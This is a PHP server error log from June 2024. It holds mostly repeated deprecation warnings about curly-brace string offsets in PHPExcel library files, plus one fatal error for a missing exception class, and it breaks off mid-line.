[17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:01:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:15:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:27:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 04:09:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [19-Jun-2024 19:33:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 